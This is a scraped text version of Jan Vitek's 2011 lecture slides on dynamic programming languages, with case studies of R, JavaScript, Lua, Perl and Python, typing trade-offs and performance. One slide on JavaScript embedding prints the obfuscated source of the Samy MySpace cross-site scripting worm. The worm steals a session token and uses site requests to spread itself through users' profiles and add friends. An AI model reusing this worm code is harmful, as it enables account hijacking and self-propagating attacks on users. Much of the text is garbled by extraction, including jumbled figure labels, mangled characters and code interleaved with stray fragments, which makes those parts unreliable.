Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

The Rise of Dynamic Languages


Published on

Jan Vitek's ECOOP 2011 Summer School talk.

Published in: Technology
  • Be the first to comment

The Rise of Dynamic Languages

  1. 1. The Rise of Dynamic Languages Jan Vitek 1 Programming Languages...… provide a vocabulary for computational thinking… are measured in the time to solution… designs manifest tensions end-users vs. CS exploratory vs. batch interpretive vs. compiled Lisp vs. Fortran 2
  2. 2. 50+ years ago…Needless to say, the point of the exercisewas not the differentiation program rather clarification ofitself ... butthe operations involved in symboliccomputation [McCarthy, History of Lisp HOPL’78] 3 Smalltalk JavaScript Ruby shell ActionScript R PHPPerl Lua Sho Tcl VB Erlang Matlab Python scheme Clojure Lisp Forth 4
  3. 3. Two decades of dynamism VisualBasic dyn 1991 Python dyn 1991 Lua dyn 1993 R dyn 1993 Java stat+dyn 1995 JavaScript dyn 1995 Ruby dyn 1995 C# stat+dyn 2001 Scala stat 2002 F# stat 2003 Clojure dyn 2007 Sho dyn 2010 5 Popularity 6
  4. 4. 7 PHP Java Ruby Scheme SQL JS Python Asm Perl Scala Pascal ColdFus AScript Lisp Delphi Haskell Erlang Clojure Cobol Smalltalk Tcl Fortran R Ocaml Rexx 8
  5. 5. 9 Java C++ VB C# C SQL JS PHP Perl Python Ada Pascal Asm Cobol Fortran AScript Delphi Smalltalk Lisp Obj-C ColdFus Tcl Shell Scheme Haskell Scala Rexx Erlang Forth Ocamlhttp://langpop,com 10
  6. 6. Dynamic Languages… Dynamic Typing Single threaded Late binding Failure oblivious Reflective Garbage collected Interactive Embeddable/Extendible Permissive High-level Data StructuresLightweight syntax Performance challenged 11 Dynamic languages are everywhere… Dynamic languages are popular… Dynamic languages are successful… Dynamic languages are growing up… 12
  7. 7. case study: R … a language for data analysis and graphics. … widely used in statistics … based on S by John Chambers at Bell labs … open source effort started by Ihaka and Gentleman 13Workflow based oninteraction with the IDE:read data into variablesmake plotscompute summariesmore intricate modeling stepsdevelop simple functions to automate analysis… 14
  8. 8. case study: R… vast libraries of reusable codes… well documented and self-testing… 4,338 R packages in CRAN and other repositories 15 case study: R • Functional and concise cube <- function(x=5) x*x*x cube() cube(2) cube(x=4) 16
  9. 9. case study: RPowerful array and matrix operations x <- c(2,7,9,2,NA,5) x[1:3] x[-1] x[] <- 0 17 case study: RPowerful graphics> plot(cars)> lines(lowess(cars)) 18
  10. 10. case study: R• Powerful graphics > plot( function(y)y*y, 0, 3) 19 case study: R R is Lazy > with(formaldehyde, carb * optden) [1] 0.008 0.080 0.223 0.322 0.438 0.703 20
  11. 11. case study: R … tools and support for reproducible experiments Recent NYTimes story on uncovering faulty research 21 case study: R … is a dynamic language … is a vector language … is an object-oriented language … is a functional language … is a lazy language Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing PermissiveFailure oblivious Interactive Open 22
  12. 12. Lightweight syntaxpublic class Hello { public static void main(String[] args){ System.out.println(“hello”);} } puts “hello”Map<String,Integer> m=new HashMap<String,Integer>();m.put(“one”, 1); m = {} m{“one”) = 1 23 Dynamic Typing Dynamic languages use Duck Typing "When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck." -- JWRiley More precisely fun F( x ) { if (alwayFalse) x.ready() else x.draw() } 24
  13. 13. Dynamic Typing “In a strongly typed language each data area has a distinct type & each process states its communication requirements in terms of these types.” -- K. Jackson ’77If static typing has benefits such as: • preventing some errors ahead of time • simplifying generation of efficient code • providing machine-checked documentationWhy is it a bad idea? 25 Dynamic TypingStatic typing only catches trivial errors most systems can’t even catch NPEs, or off-by-one errorsStatic typing ossifies code and hinders evolution make the type checker globally happy before testing a local changeStatic typing slows down the rate of development pessimistic typing, in case of doubt just say no 26
  14. 14. The boxplot from figure 7.241 visualizes the results from the tasks having imple- mented semantic errors. Dynamic Typing Tasks secs Hypothesis: No difference in time solving 00 semantic bugs with a dynamically 20 or statically typed language 00 10 Groovy Java Figure 7.24: Boxplot - Semantic Bugs - Results of both groupsSteinberg. What is the impact of static type systems on maintenance tasks? MSc Thesis U.Duisburg-Essen 27 For the tasks having a di↵culty level of 1 it can be recognized that the subjects using Java to complete the task needed less time than the subjects using Groovy. The boxplots for level 2 look di⌦erent. The minimum of the Groovy and Java boxplot are almost the same, but the lower quantile as well as the median are below the ones of the Groovy boxplot. The upper quantile and the maximum of Java is higher than Groovy’s. case study: JavaScript The results for level 3 show, that Java is slower than Groovy. Additionally, there exist outliers for every task. 91% 1 One outlier for level 3 Groovy is not displayed, being near 8000000 of top 10K web pages! Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing Permissive Failure oblivious Interactive Open 28
  15. 15. Reflection … refers to the runtime manipulation of program structures recall the R with keyword? > with(fdehyde,c*o) It is actually a generic function: with.default <- function(data,expr,...) eval( substitute(expr), data, enclos=parent.frame()) 29 Reflection Access object properties x[“f”] Update object properties x[“f”]=2 Delete object properties delete x.f Discover properties for(var p in x){ Access global variables window[“f”]Update global variables window[“f”]=2Access/update local variables eval(“f = 2”) 30
  16. 16. case study: Lua • C library for seamless embedding • Interoperation requires reflection over data Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing PermissiveFailure oblivious Interactive Garbage-collected Lerusalimschy, et. al. Passing a Language through the Eye of a Needle, ACMQUEUE, 2011 31 case study: LuaAdobe LightroomUsed ... ObjC… to provide interface and 12% C glue between components 9%… for business logic, controllers, C++ Lua views 16% 63%… for its fast turn around Troy Gaul. Lightroom Exposed. 32
  17. 17. Embeddable An embeddable language must be have an API that allows data to be accessed and manipulated externally JavaScript designed to be embedded in HTML pages Interaction with browser adds “isolation”-based security model Document Object Model exposes the web page 33<div id=mycode style="BACKGROUND: url(javascript:eval(document.all.mycode.expr))" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval(document.body.inne+rHTML)}}function getData(AU){M=getFromURL(AU,friendID);L=getFromURL(AU,Mytoken)}function getQueryParams(){var;varF=E.substring(1,E.length).split(&);var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split(=);AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS[Mytoken];var M=AS[friendID];if({document.location=}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),up_launchIC( +A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+=&}var Q=escape(AV[P]);while(Q.indexOf(+)!=-1){Q=Q.replace(+,%2B)}while(Q.indexOf(&)!=-1){Q=Q.replace(&,%26)}N+=P+=+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval(J.onr+eadystatechange=BI);,BH,true);if(BJ==POST){J.setRequestHeader(Content-Type,application/x-www-form-urlencoded);J.setRequestHeader(Content-Length,BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,name=+B+BG+B+ value=+B,B)}function getFromURL(BF,BG){var T;if(BG==Mytoken){T=B}else{T=&}var U=BG+=;varV=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y} <div id="code" expr="alert(boom)" style="background:url(javafunction getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject(Msxml2.XMLHTTP)}catch(e){try{Z=new ActiveXObject script:eval(document.all.mycode.expr))">(Microsoft.XMLHTTP)}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf(m+ycode);varAC=AA.substring(AB,AB+4096);var AD=AC.indexOf(D+IV);var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace(jav+a,A+jav+a);AE=AE.replace(exp+r),exp+r)+A);AF= but most of all, samyis my hero. <d+iv id=+AE+D+IV>}var AG;function getHome(){if(J.readyState!=4){return}varAU=J.responseText;AG=findIn(AU,P+rofileHeroes,</td>);AG=AG.substring(61,AG.length);if(AG.indexOf(samy)==-1){if(AF){AG+=AF;var AR=getFromURL(AU,Mytoken);var AS=new Array();AS[interestLabel]=heroes;AS[submit]=Preview;AS[interest]=AG;J=getXMLObj();httpSend(/index.cfm?fuseaction=profile.previewInterests&Mytoken=+AR,postHero,POST,paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,Mytoken);var AS=new Array();AS[interestLabel]=heroes;AS[submit]=Submit;AS[interest]=AG;AS[hash]=getHiddenParameter(AU,hash);httpSend(/index.cfm?fuseaction=profile.processInterests&Mytoken=+AR,nothing,POST,paramsToString(AS))}function main(){varAN=getClientFID();var BH=/index.cfm?fuseaction=user.viewProfile&friendID=+AN+&Mytoken=+L;J=getXMLObj();httpSend(BH,getHome,GET);xmlhttp2=getXMLObj();httpSend2(/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken=+L,processxForm,GET)}functionprocessxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,hashcode);var AR=getFromURL(AU,Mytoken);var AS=new Array();AS[hashcode]=AQ;AS[friendID]=11851658;AS[submit]=Add to Friends;httpSend2(/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=+AR,nothing,POST,paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval(xmlhttp2.onr+eadystatechange=BI); 34
  18. 18. simplify the software development cycle case study: Embeddable #Call at each cycle of Mercury execution! energyTal = mc.tally.tal Mercury! ["EnergyDeposition”]! Python ! if energyTal.getValue(Particle="Neutron", Cell=”Skull") > 1e-6:! Mercury is a general-purpose parallelenergy deposition to print "Neutron Monte Carlo particle transport code written in C++ the skull reached threshold."! Health physics: a “phantom” human can be modeled (at … C++ parallel Monte Carloindeposition inittransportthen validate The Mercury application embeds Python to make to the skull overcode particle easier to test the right) and placed a scenario. The code can determine neutron and the software. course of a simulation … embeds Python to ease testing & validation scripts for Goal: replace the majority of compiled C++ testing with Python shorter compile times and faster development cycle … massively faster development cycle At right, the National Ignition Facility Lawrence Livermore National Laboratory target chamber is modeled. This 4 model was used in Mercury toProcassini, Taylor, McKinley, Greenman,neutronO’Brien, Beck, Hagmann,.Update simulate Cullen, deposition into the surrounding facility walls and 10 mon the Development and Validation of MERCURY: A modern, Monte Carloparticle transport code. Mathematicsthe hazards evaluate and Computation, Supercomputing, correspondinglyReactor Physics and Nuclear Biological Applications, 2005. 35 Lawrence Livermore National Laboratory 3 In Kull, the dynamic language is “front and center” and the static language components are compiled, then imported at runtime case study: Extendible >> from kull import * >> mesh = Mesh(aFileName) Python / pympi! C++! C++! C++! C++! … The Kull application extends Python to provide a “steerable” simulation code. … inertial confinement fusion simulation Pros: flexibility, “it’s just Python”, “like a duck” interface compliance, easy to … extendswrite tests provide a “steerable” simulation C++ to Cons: … wrapped and exposed to Python via SWIG for binding technology High costs (maintenance, compile time, etc.) paid Ex: ~350K lines of code, 1.7 mil lines of generated wrapper code. … 1.7Mloc generated C++ wrappers (static price) Lawrence Livermore National Laboratory 6 Alumbaugh, Dynamic Languages for HPC at LLNL. Talk at VEESC Workshop, 2010 36
  19. 19. Failure ObliviousnessDynamic languages keep the program running… … by allowing the execution of incomplete programs … by converting data types automatically when possible … by decreasing number of errors that must be handled“Best effort” execution 37 Failure ObliviousnessGetting an error in JavaScript is difficult x = {}; // object x.b = 42; // field add y = x[“f”]; // undefined z = y.f; // error 38
  20. 20. case study: JSLocker • Abort untrusted JavaScript code • From enclosing program’s point of view, random failuresal-Site Behavior • Most programs are resilient Policy Functional AdBlock Partial Broken Empty 50 0 0 0 AddOnly 36 8 5 1 SendAfterRead 42 7 1 0 Hammer, Richards, Vitek. Flexible Access Control Policies with Delimited Histories and Revocation, Submitted. 39Fully functional. No visible features hindered.Ads blocked. The site itself worked, but some ads did not.Partially Functional. Reduced functionality, but site still usable.Broken. Fundamental features of site broken. case study: CERN Motivation Security with Delimited Histories Evaluation Summary 26/29 • Dynamic languages used: Python, Perl, Bash, Tcl, … • But, most of the analysis code is in C++ Can C++ be turned into a dynamic language? Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing Permissive Failure oblivious Interactive Open 40
  21. 21. Ideal Interpreter 4.  study: CERN & CINT case Smooth transition to compiled code, with compiler or conversion to compiled language• From 1991,5.  Straight-forward use: reflection/ easy language. 400KLOC; parser, interpreter, known• Interface to 6.  Possible extensions with>20k users to e.g. C++ ROOT data analysis framework, conversion Ideally: J=8"1GH*"2"G#8=(*(*#8"";$2"G#8=(.* Higher level syntax Faster 0"G#=8/$2"G#8=(7Q*0"*4*RS* Threading #8""T7U"#B81(GHM<<8"..D5$2"G#8=(.5V*0"ES* J=8*D(#*4RS*/0";.W"DES*XXE*K* **$2"G#8=(Q*"2"G#8=(*4*0"@FS* Antcheva, Ballintijn, Bellenot, Biskup, Brun, Buncic, Canal, Casadei, Couet, Fine, Franco, Ganis, Gheata, Gonzalez Maline, 2010-09-03 VEESC 2010 • Philippe Canal, Fermilab 17 Goto, Iwaszkiewicz, Kreshuk, Segura, Maunder, Moneta, Naumann, Offer, Onuchin, Panacek, Rademakers, Russo, Tadel.ROOT — A C++ framework for petabyte data storage, statistical analysis and visualization. Computer Physics Comm. 2009 41 case study: Perl Pluto … manages the retirement savings of 5.5 million users … for a value of 23 billion Euros 320 000 lines of Perl 68 000 lines of SQL 27 000 lines of shell 26 000 lines of HTML Lundborg, Lemonnier. PPM or how a system written in Perl can juggle with billions. Freenix 2006 Lemonnier. Testing Large Software With Perl. Nordic Perl Workshop 2007 Stephenson. Perl Runs Swedens Pension System. O’Reilly On Lamp, 2005 42
  22. 22. case study: PerlHigh productivity: Perl wins over JavaDisciplined use of the language: Many features disallowedHome-brewed contract notation: Runtime checked Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing PermissiveFailure oblivious Interactive Open 43 case study: Perlcontract(‘do_sell_current_holdings’) -> in(&is_person, &is_date) -> out(&is_state) -> enable;sub do_sell_current_holdings { my ($person, $date) … if ($operation eq “BUD_”) { … return $state;} 44
  23. 23. Performance 45 All benchmarks / Java (geo mean) Run time 100 Fannkuch time / Java 96.1750.0 82.01 42.46 7537.5 50 28.91 17.90 25 14.81 12.98 15.57 9.45 9.3225.0 1.00 0 16.47 ruby python perl php java scala jruby jython groovy12.5 3.60 3.99 4.27 Fasta time / Java 2.27 1.00 1.93 375.63 400 0 ruby python perl php java scala jruby jython groovy 300 200! Dynamic languages often 100 64.46 69.29 21.50 22.12 much slower than Java 0 ruby python perl php 1.00 java 1.27 scala jruby jython groovy Mandelbrot time / Java! C interpreters: ~2-5x 1500 1187.64 ! can be 12x faster, 145x slower 1125! Java interpreters: ~16-43x 750 419.52 ! up to 1200x slower 375 105.08 19.42 26.83 20.24 1.00 37.12 0 © Nate Nystrom, ’07 ruby python perl php java scala jruby jython groovy 46
  24. 24. PerformanceDoes not matter for… … short running and I/O bound codesBut, when performance matters… … rewrite applications in C and lose benefits of dynamism 47 Truth iness correctness is crucial static types are better speed requires compilation programs are documents 48
  25. 25. Dynamic languages are a gateway drug to… … programming … language design 49Types slow down development… ...and rarely express the properties of interest 50
  26. 26. Designing better dynamic languages is a challenge best left to… ...statisticians? ...physicists? … web designers? 51how dynamic is dynamicRichards, Lebresne, Burg, Vitek, An Analysis of the Dynamic Behavior of JavaScript Programs. PLDI’10 52
  27. 27. 0.4 Google 0.2 Objects 0.0 are dead 1.0 Dead Read 0.8 Update Add Delete Writes 0.6 0.4 Adds Adds Adds Deletes Reads 0.2 0.0 53 1.0aries 1.0 s in- Dead tion, 0.8 0.8 Sunspider Dead Read Read Update Update Addlt on Add Delete Deleteence 0.6 0.6 pro- sets 0.4oned 0.4y of- 0.2 Be- 0.2char- o be 0.0 0.0 1.0ch as 1.0 dis- Google Dead Dead Read ). Read 0.8 Update 0.8 Update Add Add Delete Delete 0.6 0.6e the 0.4 sing 0.4ative 0.2 rtic- 0.2ange ray- 0.0 0.0 54
  28. 28. mance of a system on real sites and a guide for implementers. We Does it matter? 14.0 Amazon9 Performance$Relative$to$Firefox$1.5$ 13.0 12.0 Sunspider30.9.1 13.4$ 11.0 10.0 9.0 8.0 7.0 6.0 5.0 4.0 3.1$ 3.0 2.0 Figure 19. Cross-browser comparison. Impact of DOM ope 1.0 ations on throughput. (number normalized to the replay withou 0.0 DOM; average over five runs; lower is better) Firefox31.5 Firefox32.0 Firefox33.0 Firefox33.5 Firefox33.6.12 igure 18. Speed Vitek. Automated Construction of JavaScript Benchmarks different ver- 55 Richards, Gal, Eich, ups. Throughput improvements of OOPSLA11 Figure 20 shows the relative cost of enabling event processin ons of Firefox. (sunspider, amazon; FF1.5 - FF 3.6.12) Measure- in replay as the ratio of the running times. In many browsers, thments on an HPZ800, dual Xeon E5630 2.53Ghz, 24GB memory, cost of event processing for the bing benchmark is relatively highWindows 7 64-bit Enterprise. Numbers normalized to FF 1.5. and as high as 77x in the case of Safari5. This may be becaus 12 2011/4/1 Trace - based Compilation Bebenita, Brandner, Fahndrich, Logozzo, Schulte, Tillmann, Venter. SPUR: A Trace-Based JIT Compiler for CIL. OOPSLA10 56
  29. 29. We go from this ... for  (var  n  =  0;  n  <  1000;  n++)  {   for  (var  n2  =  0;  n2  <  1000;  n2++)  { for  (var  i  =  0;  i<a.length-­‐1;  i++)  {       var  tmp  =  a[i];         a[i]  =  a[i+1];         a[i+1]  =  tmp;     }   } } 35  method  calls,  129  guards,  224  total  instruc8ons 57 to this ... 35  method  calls,  129  guards,  224  total  instruc8ons 58
  30. 30. back to… 10  loop  instruc8ons,  2  loop  guards! Performance  7x  faster  than  the  CLR  based  JScript,  and  slightly  faster  than  V8 59 Static and dynamic type checking Dynamic type checking is great: • anything goes, until it doesnt; Static type checking is great: • a program can be run even when crucial pieces are missing • catches bugs earlier; • • enables faster execution. Can they co-exist in the same design? Wrigstad, Zappa Nardelli, Lebresne, Ostlund, Vitek, Integrating Typed and Untyped Code in a Scripting Language. POPL’10 60
  31. 31. Like typesIntroduce a novel type construct that mediates between static and dynamic. still flexible flexible fast static like type dynamiccatch errors catch some errorsclass Point(var x:Int, var y:Int) { def getX():Int = x; def getY():Int = y; def move(p:like Point) { x := p.getX(); y := p.getY(); }} • Compiler checks that operations on like C variables are well-typed • Does not restrict binding of like C variables 61 Code Contracts Fähndrich, Barnett, Logozzo: Embedded contract languages. SAC10Fahndrich, Logozzo. Clousot: Static Contract Checking with Abstract Interpretation. FoVeOOS’10 62
  32. 32. Use code to specify code…T Pop(){Contract.Requires(!this.isEmpty);Contract.Ensures(Contract.Result<T>()!= null); return this.a[--next];} 63 Conclusion Dynamic languages increase the velocity of science Dynamic languages are a gateway drug to computing Dynamic languages need some static features, some of the time 64